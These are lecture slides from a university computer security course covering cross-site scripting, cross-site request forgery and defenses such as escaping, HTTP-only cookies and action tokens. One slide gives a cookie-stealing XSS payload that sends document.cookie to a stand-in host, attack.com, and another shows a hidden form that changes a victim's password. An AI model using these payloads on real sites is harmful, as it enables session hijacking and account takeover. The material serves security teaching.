1. CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz

2. Administrivia  Zeller-Felten paper on webpage  HW4  Final exam reminder + study guide  Course evaluations –www.CourseEvalUM.umd.eduwww.CourseEvalUM.umd.edu

3. Cross-site scripting (XSS)  Can occur whenever an attacker can influence a script executed at a legitimate host, e.g.: –Dynamically generated pages (search, errors, other) E.g., http://good.com/error.php?msg=an+error+occured What happens if the attacker sends http://good.com/error.php?msg=...

4. Exploits using XSS user logs in malicious URL user clicks… malicious code run credential sent to attacker hijack session http://good.com/error?msg= var+i =new+Image;+i.src=“http://attack.com” %2bdocument.cookie; var i=new Image; i.src=“http://attack.com” +document.cookie;

5. Key points…  Same-origin policy is respected –The attacker’s script was running in the context of good.com(!), so it was able to access the cookie  Phishing likely to succeed –Users only notice that the link is to http://good.com  Using https does nothing to prevent this attack…

6. Stored XSS vulnerabilities  Occurs when data submitted by a user is stored at the server, and later displayed to other users –Comment on blog post –Wiki –Web-based email –Social networking sites MySpace Samy worm

7. Exploits using XSS user logs in malicious code run credential sent to attacker post malicious code

8. Notes…  No need for phishing any more!  Guaranteed that user is logged in when they run the malicious script –(In previous case, user may not be logged in when they click the attacker-generated URL)

9. Payloads for XSS attacks  Hijack session credentials  Site defacement –E.g., http://good.com/error.php?msg=We+are+going+out+of+business  Injecting trojan functionality –To obtain, e.g., credit card info  Perform actions on behalf of authenticated users –In an automated fashion! –Without leaving trace of IP address!  More…

10. Cross-domain interactions  Recall… – in bad page would cause legitimate script to run in context of bad page! –Instead, malicious page can initiate a POST request to legitimate page, with arbitrary parameters –Due to the way web authentication is handled (i.e., using a cached credential), http requests will look as if they come from the legitimate user if they are logged in when they view the malicious page

11. Cross-site request forgery (CSRF) 1. Alice’s browser loads page from bad.com 2. Script runs causing evilform to be submitted with a password-change request by loading www.good.com/update_pwd with attacker-specified field 3. Browser sends authentication cookies to good server. Honest user’s password is changed to badpwd ! <form method="POST" name="evilform" target="hiddenframe" action="https://www.good.com/update_pwd"> document.evilform.submit(); evilform

12. Notes  Due to same-origin policy, bad.com does not have access to any data associated with good.com  When bad.com page loaded, it executes script which sends a POST request to good.com with attacker- specified parameters –Browser sends all cookies for good.com along with this request!  Malicious page cannot read user’s data, but can write to user’s account

13. Notes  CSRF for GET requests is even easier (simply use an tag with a crafted URL)

14. Notes  Can be viewed as failure of principle of complete mediation –User should be required to re-authenticate before changing their password  Also (potentially) principle of least privilege –User should log out of a website if not actively using it

15. Potential CSRF vulnerabilities  Anywhere a client can change server-side state –Facebook profiles –Financial sites –Calendars, etc.

16. Notes  XSS attacks exploit the trust a client browser has in data sent from the legitimate website –But attacker controls what the website sends to the client browser  CSRF attacks exploit the trust the legitimate website has in data sent from the client browser –But attacker controls what the client browser sends to the website  XSS vulnerabilities are “more general” –Simply inject a script that, when viewed, submits a form on behalf of the user with parameters chosen by the attacker…

17. Defenses

18. Preventing XSS  Escaping/encoding input  Validation/sanitization –Suppress/escape, “, etc, … at time they are input by a user  Can apply these techniques at the time data is read, or at the time the resulting page is displayed to the client

19. Preventing XSS  Drawbacks –Sometimes these characters may be legitimate –Unclear when all malicious text is filtered out  Very difficult (impossible?) to get sanitization right  Several sanitizers exist… –…and several exploits of them are known  Better to err on the conservative side

20. Preventing XSS  Some work done on preventing XSS attacks at the browser level –Browser plug-ins (e.g., NoScript) –Browser itself (e.g., Google chrome)  Mitigate XSS attacks for session hijacking –“HTTP-only” cookies sent only to the issuing server –Bind cookies to user’s IP address

21. Preventing CSRF attacks  Inspect referrer headers –HTTP protocol specifies a header indicating the URL of the document from which current request originated  So good.com can try to prevent CSRF attacks by ignoring POST requests if the referrer is not good.com  However… –Referrer fields can be absent for legitimate reasons (e.g., new window; stripped by proxies)

22. Complete mediation  Prevent CSRF attacks by requiring user re- authentication  Not practical to do this all the time –User will be come frustrated!  Can require for ‘high-value’ transactions

23. Client-side protection  (Assumes servers do not use GET requests for modifying data)  Browser plug-in that filters out POST requests unless requesting site and target site satisfy same- origin policy –Might still filter out some legitimate requests

24. Server-side protection  Prevent CSRF attacks by allowing the legitimate server to distinguish links in ‘fresh’ pages it serves, from links embedded in attacker pages  Add authenticated “action token” as hidden field in pages served; check token upon POST request –Same-origin policy prevents 3 rd parties from reading the token  Simple idea: embed (nonce, MAC k (nonce)) in page –Why doesn’t this work?

25. “Action tokens”  Need a way to bind token to session –At beginning of session, send cookie with random session-id to user –Compute MAC over the URL and the cookie (note that cookie will be sent in any subsequent requests)  This is potentially vulnerable to XSS attacks –Attacker injects script that steals user’s cookie and token